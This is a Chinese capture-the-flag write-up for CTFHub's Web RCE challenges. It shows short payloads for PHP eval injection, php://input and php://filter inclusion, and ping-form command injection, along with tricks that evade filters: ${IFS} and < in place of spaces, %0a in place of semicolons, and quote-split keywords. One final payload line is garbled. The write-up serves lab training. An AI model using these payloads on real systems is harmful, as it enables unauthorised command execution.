CTFHub技能树-Web-RCE
文章目录
前言
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
一、eval执行
isset判断变量cmd 是否声明,如果有,就执行eval($_REQUEST[‘cmd’]);
url后接?cmd=system(‘ls /’),发现flag
url后接?cmd=system(‘cat /flag_8799’); 查看flag文件,得到flag
二、文件包含
查看代码,意思是通过get方式传入一个file参数,如果其中不包含flag字符串,就把它引用进来
点进shell
说明参数是ctfhub,我们需要在get中把它引入
本题需要使用浏览器的Hackbar插件
用ctfhub传入一个参数,让它遍历出/下文件,发现flag
同样方式cat /flag,得到flag
三、php://input
php://input 是个可以访问请求的原始数据的只读流,可以让服务器读取到post中的php代码然后执行
故我们在post处输入要执行的php代码
分析代码,在url后接?file=php://input
使用Hackbar,在post处输入<?php system("ls /")?>,发现flag
输入<?php system("cat /flag名")?>,得到flag
四、读取源代码
本题无法使用php://input,但可以使用php://filter
将file设为php://filter/resource=/flag,即读取了flag文件
得到flag
五、远程包含
发现这里仍可以使用php://input
于是和之前题目解法一样
六、命令注入
题注:这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
先输入一个ip地址如127.0.0.1,再加上一个;,就可以执行命令行命令了
ls 查看目录
发现一个特殊php文件,127.0.0.1;ls;cat 文件名 进行查看
ctrl+u 查看源码,得到flag
七、过滤cat
题注:过滤了cat命令之后,你还有什么方法能读到 Flag?
除了cat,还有很多方法能读取文件,如more
先输入127.0.0.1;ls,发现flag文件
使用more 文件名 读取flag文件,获得flag
八、过滤空格
题注:这次过滤了空格,你能绕过吗
过滤了空格,那就用<来代替空格
照常输入命令
得到flag
九、过滤目录分隔符
题注:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
过滤了目录分割符 / ,这里我们将带/的目录访问,替换成cd进目录访问
先输入127.0.0.1;ls
cd进该目录,然后ls
发现flag文件,于是将ls换成cat flag文件,得到flag
十、过滤运算符
可以看到这里过滤了几个运算符,可实际上本题根本不会用到这些运算符,按之前的方法操作即可得到flag
十一、综合过滤练习
可以看到这里运算符,空格,关键字flag、cat都被过滤掉了
使用%0a代替;
使用单引号’'绕过关键字过滤
使用${IFS}代替空格
若直接使用文本框上传命令会导致字符被转义,故这里访问URL
先输入?ip=127.0.0.1%0als
输入?ip=127.0.0.1%0als${IFS}fl’'ag_is_here
最后输入?ip=127.0.0.1%0acd I F S f ′ ′ l a g i s h e r e {IFS}f''lag_is_here%0ac''at IFSf′′lagishere{IFS}f’'lag_22588327610364.php
总结
RCE漏洞,Hackbar插件的使用,cmd命令,运算符、空格、关键字flag、cat过滤绕过